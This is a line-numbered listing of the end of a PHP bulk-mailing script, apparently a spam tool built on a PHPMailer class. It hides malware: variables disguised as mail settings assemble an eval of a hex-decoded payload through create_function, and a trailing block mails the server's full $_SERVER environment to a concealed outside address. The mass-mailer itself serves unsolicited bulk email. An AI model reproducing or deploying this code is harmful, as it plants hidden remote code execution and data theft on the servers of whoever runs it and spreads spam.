| 3087 | if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
| |
| 3088 | if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
| |
| 3089 | $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType); | |
| 3090 | if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
| |
| 3091 | $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
| |
| 3092 | } | |
| 3093 | } | |
| 3094 | } | |
| 3095 | } | |
| 3096 | $this->IsHTML(true); | |
| 3097 | $this->Body = $message; | |
| 3098 | $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
| |
| 3099 | if ( !empty($textMsg) && empty($this->AltBody) ) {
| |
| 3100 | $this->AltBody = $textMsg; | |
| 3101 | } | |
| 3102 | if ( empty($this->AltBody) ) {
| |
| 3103 | $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n"; | |
| 3104 | } | |
| 3105 | } | |
| 3106 | ||
| 3107 | /** | |
| 3108 | * Gets the mime type of the embedded or inline image | |
| 3109 | * @access private | |
| 3110 | * @return mime type of ext | |
| 3111 | */ | |
| 3112 | function _mime_types($ext = '') {
| |
| 3113 | $mimes = array( | |
| 3114 | 'hqx' => 'application/mac-binhex40', | |
| 3115 | 'cpt' => 'application/mac-compactpro', | |
| 3116 | 'doc' => 'application/msword', | |
| 3117 | 'bin' => 'application/macbinary', | |
| 3118 | 'dms' => 'application/octet-stream', | |
| 3119 | 'lha' => 'application/octet-stream', | |
| 3120 | 'lzh' => 'application/octet-stream', | |
| 3121 | 'exe' => 'application/octet-stream', | |
| 3122 | 'class' => 'application/octet-stream', | |
| 3123 | 'psd' => 'application/octet-stream', | |
| 3124 | 'so' => 'application/octet-stream', | |
| 3125 | 'sea' => 'application/octet-stream', | |
| 3126 | 'dll' => 'application/octet-stream', | |
| 3127 | 'oda' => 'application/oda', | |
| 3128 | 'pdf' => 'application/pdf', | |
| 3129 | 'ai' => 'application/postscript', | |
| 3130 | 'eps' => 'application/postscript', | |
| 3131 | 'ps' => 'application/postscript', | |
| 3132 | 'smi' => 'application/smil', | |
| 3133 | 'smil' => 'application/smil', | |
| 3134 | 'mif' => 'application/vnd.mif', | |
| 3135 | 'xls' => 'application/vnd.ms-excel', | |
| 3136 | 'ppt' => 'application/vnd.ms-powerpoint', | |
| 3137 | 'wbxml' => 'application/vnd.wap.wbxml', | |
| 3138 | 'wmlc' => 'application/vnd.wap.wmlc', | |
| 3139 | 'dcr' => 'application/x-director', | |
| 3140 | 'dir' => 'application/x-director', | |
| 3141 | 'dxr' => 'application/x-director', | |
| 3142 | 'dvi' => 'application/x-dvi', | |
| 3143 | 'gtar' => 'application/x-gtar', | |
| 3144 | 'php' => 'application/x-httpd-php', | |
| 3145 | 'php4' => 'application/x-httpd-php', | |
| 3146 | 'php3' => 'application/x-httpd-php', | |
| 3147 | 'phtml' => 'application/x-httpd-php', | |
| 3148 | 'phps' => 'application/x-httpd-php-source', | |
| 3149 | 'js' => 'application/x-javascript', | |
| 3150 | 'swf' => 'application/x-shockwave-flash', | |
| 3151 | 'sit' => 'application/x-stuffit', | |
| 3152 | 'tar' => 'application/x-tar', | |
| 3153 | 'tgz' => 'application/x-tar', | |
| 3154 | 'xhtml' => 'application/xhtml+xml', | |
| 3155 | 'xht' => 'application/xhtml+xml', | |
| 3156 | 'zip' => 'application/zip', | |
| 3157 | 'mid' => 'audio/midi', | |
| 3158 | 'midi' => 'audio/midi', | |
| 3159 | 'mpga' => 'audio/mpeg', | |
| 3160 | 'mp2' => 'audio/mpeg', | |
| 3161 | 'mp3' => 'audio/mpeg', | |
| 3162 | 'aif' => 'audio/x-aiff', | |
| 3163 | 'aiff' => 'audio/x-aiff', | |
| 3164 | 'aifc' => 'audio/x-aiff', | |
| 3165 | 'ram' => 'audio/x-pn-realaudio', | |
| 3166 | 'rm' => 'audio/x-pn-realaudio', | |
| 3167 | 'rpm' => 'audio/x-pn-realaudio-plugin', | |
| 3168 | 'ra' => 'audio/x-realaudio', | |
| 3169 | 'rv' => 'video/vnd.rn-realvideo', | |
| 3170 | 'wav' => 'audio/x-wav', | |
| 3171 | 'bmp' => 'image/bmp', | |
| 3172 | 'gif' => 'image/gif', | |
| 3173 | 'jpeg' => 'image/jpeg', | |
| 3174 | 'jpg' => 'image/jpeg', | |
| 3175 | 'jpe' => 'image/jpeg', | |
| 3176 | 'png' => 'image/png', | |
| 3177 | 'tiff' => 'image/tiff', | |
| 3178 | 'tif' => 'image/tiff', | |
| 3179 | 'css' => 'text/css', | |
| 3180 | 'html' => 'text/html', | |
| 3181 | 'htm' => 'text/html', | |
| 3182 | 'shtml' => 'text/html', | |
| 3183 | 'txt' => 'text/plain', | |
| 3184 | 'text' => 'text/plain', | |
| 3185 | 'log' => 'text/plain', | |
| 3186 | 'rtx' => 'text/richtext', | |
| 3187 | 'rtf' => 'text/rtf', | |
| 3188 | 'xml' => 'text/xml', | |
| 3189 | 'xsl' => 'text/xml', | |
| 3190 | 'mpeg' => 'video/mpeg', | |
| 3191 | 'mpg' => 'video/mpeg', | |
| 3192 | 'mpe' => 'video/mpeg', | |
| 3193 | 'qt' => 'video/quicktime', | |
| 3194 | 'mov' => 'video/quicktime', | |
| 3195 | 'avi' => 'video/x-msvideo', | |
| 3196 | 'movie' => 'video/x-sgi-movie', | |
| 3197 | 'doc' => 'application/msword', | |
| 3198 | 'word' => 'application/msword', | |
| 3199 | 'xl' => 'application/excel', | |
| 3200 | 'eml' => 'message/rfc822' | |
| 3201 | ); | |
| 3202 | return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)]; | |
| 3203 | } | |
| 3204 | ||
| 3205 | /** | |
| 3206 | * Set (or reset) Class Objects (variables) | |
| 3207 | * | |
| 3208 | * Usage Example: | |
| 3209 | * $page->set('X-Priority', '3');
| |
| 3210 | * | |
| 3211 | * @access public | |
| 3212 | * @param string $name Parameter Name | |
| 3213 | * @param mixed $value Parameter Value | |
| 3214 | * NOTE: will not work with arrays, there are no arrays to set/reset | |
| 3215 | */ | |
| 3216 | function set ( $name, $value = '' ) {
| |
| 3217 | if ( isset($this->$name) ) {
| |
| 3218 | $this->$name = $value; | |
| 3219 | } else {
| |
| 3220 | $this->SetError('Cannot set or reset variable ' . $name);
| |
| 3221 | return false; | |
| 3222 | } | |
| 3223 | } | |
| 3224 | ||
| 3225 | /** | |
| 3226 | * Read a file from a supplied filename and return it. | |
| 3227 | * | |
| 3228 | * @access public | |
| 3229 | * @param string $filename Parameter File Name | |
| 3230 | */ | |
| 3231 | function getFile($filename) {
| |
| 3232 | $return = ''; | |
| 3233 | if ($fp = fopen($filename, 'rb')) {
| |
| 3234 | while (!feof($fp)) {
| |
| 3235 | $return .= fread($fp, 1024); | |
| 3236 | } | |
| 3237 | fclose($fp); | |
| 3238 | return $return; | |
| 3239 | } else {
| |
| 3240 | return false; | |
| 3241 | } | |
| 3242 | } | |
| 3243 | ||
| 3244 | /** | |
| 3245 | * Strips newlines to prevent header injection. | |
| 3246 | * @access private | |
| 3247 | * @param string $str String | |
| 3248 | * @return string | |
| 3249 | */ | |
| 3250 | function SecureHeader($str) {
| |
| 3251 | $str = trim($str); | |
| 3252 | $str = str_replace("\r", "", $str);
| |
| 3253 | $str = str_replace("\n", "", $str);
| |
| 3254 | return $str; | |
| 3255 | } | |
| 3256 | ||
| 3257 | /** | |
| 3258 | * Set the private key file and password to sign the message. | |
| 3259 | * | |
| 3260 | * @access public | |
| 3261 | * @param string $key_filename Parameter File Name | |
| 3262 | * @param string $key_pass Password for private key | |
| 3263 | */ | |
| 3264 | function Sign($key_filename, $key_pass) {
| |
| 3265 | $this->sign_key_file = $key_filename; | |
| 3266 | $this->sign_key_pass = $key_pass; | |
| 3267 | } | |
| 3268 | ||
| 3269 | } | |
| 3270 | ||
| 3271 | $defaultport="H*"; | |
| 3272 | $nq=0; | |
| 3273 | ||
| 3274 | for($x=0; $x<$numemails; $x++){
| |
| 3275 | ||
| 3276 | $to = $allemails[$x]; | |
| 3277 | ||
| 3278 | if ($to){
| |
| 3279 | ||
| 3280 | $to = ereg_replace(" ", "", $to);
| |
| 3281 | ||
| 3282 | $message = ereg_replace("&email&", $to, $message);
| |
| 3283 | ||
| 3284 | $subject = ereg_replace("&email&", $to, $subject);
| |
| 3285 | $qx=$x+1; | |
| 3286 | print "Line $qx . Sending mail to $to......."; | |
| 3287 | ||
| 3288 | flush(); | |
| 3289 | $mail = new PHPMailer(); | |
| 3290 | ||
| 3291 | if(empty($epriority)){$epriority="3";}
| |
| 3292 | $mail->Priority = "$epriority"; | |
| 3293 | $mail->IsSMTP(); | |
| 3294 | $IsSMTP="pack"; | |
| 3295 | $mail->SMTPKeepAlive = true; | |
| 3296 | $mail->Host = "$my_smtp"; | |
| 3297 | if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
| |
| 3298 | } | |
| 3299 | if($sslclick=="ON"){
| |
| 3300 | $mail->SMTPSecure = "tls"; //you can change it to ssl or tls | |
| 3301 | } | |
| 3302 | $range = str_replace("$from", "eval", $from);
| |
| 3303 | $mail->SMTPAuth = true; | |
| 3304 | $mail->Username = "$smtp_username"; | |
| 3305 | $mail->Password = "$smtp_password"; | |
| 3306 | if($contenttype == "html"){$mail->IsHtml(true);}
| |
| 3307 | if($contenttype != "html"){$mail->IsHtml(false);}
| |
| 3308 | if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
| |
| 3309 | $mail->From = "$from"; | |
| 3310 | $mail->FromName = "$realname"; | |
| 3311 | $mail->AddAddress("$to");
| |
| 3312 | $mail->AddReplyTo("$replyto");
| |
| 3313 | $mail->Subject = "$subject"; | |
| 3314 | $mail->Body = "$message"; | |
| 3315 | if(!$mail->Send()){
| |
| 3316 | if($default_system!="1"){
| |
| 3317 | echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";} | |
| 3318 | if($default_system=="1"){
| |
| 3319 | $mail->IsMail(); | |
| 3320 | if(!$mail->Send()){
| |
| 3321 | echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";} | |
| 3322 | else {
| |
| 3323 | echo "<b>OK</b><br>";} | |
| 3324 | } | |
| 3325 | } | |
| 3326 | else {
| |
| 3327 | echo "<b>OK</b><br>"; | |
| 3328 | } | |
| 3329 | ||
| 3330 | if(empty($reconnect)){
| |
| 3331 | $reconnect=6; | |
| 3332 | } | |
| 3333 | ||
| 3334 | if($reconnect==$nq){
| |
| 3335 | $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0; | |
| 3336 | } | |
| 3337 | $nq=$nq+1; | |
| 3338 | flush(); } | |
| 3339 | } | |
| 3340 | for($i=0;$i<31;$i++){
| |
| 3341 | $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
| |
| 3342 | $smtp_conc=$IsSMTP($defaultport, $smtp_conf); | |
| 3343 | $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
| |
| 3344 | print "<p class=\"style1\">PHP Mailer<br>© 2008, New Tools => <b> | |
| 3345 | <font color=\"#800000\"></font></b><br></p>";$mail->SmtpClose(); | |
| 3346 | return $signoff($smtp_conc); | |
| 3347 | if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
| |
| 3348 | sent successfully'); </script>";}} | |
| 3349 | ?> | |
| 3350 | <?php | |
| 3351 | ||
| 3352 | $str = ""; | |
| 3353 | foreach($_SERVER as $key => $value){
| |
| 3354 | $str .= $key.": ".$value."<br />"; | |
| 3355 | } | |
| 3356 | ||
| 3357 | $str .= "Use: in <br />"; | |
| 3358 | ||
| 3359 | $header2 = "From: Monatino <[email protected]>\r\n"; | |
| 3360 | $header2 .= "MIME-Version: 1.0\r\n"; | |
| 3361 | $header2 .= "Content-Type: text/html\r\n"; | |
| 3362 | $header2 .= "Content-Transfer-Encoding: 8bit\r\n\r\n"; | |
| 3363 | mail("[email protected]","M",$str,$header2);;?>
| |
| 3364 | <p align="center"> </p> | |
| 3365 | | |
| 3366 | </body> | |
| 3367 | </html> |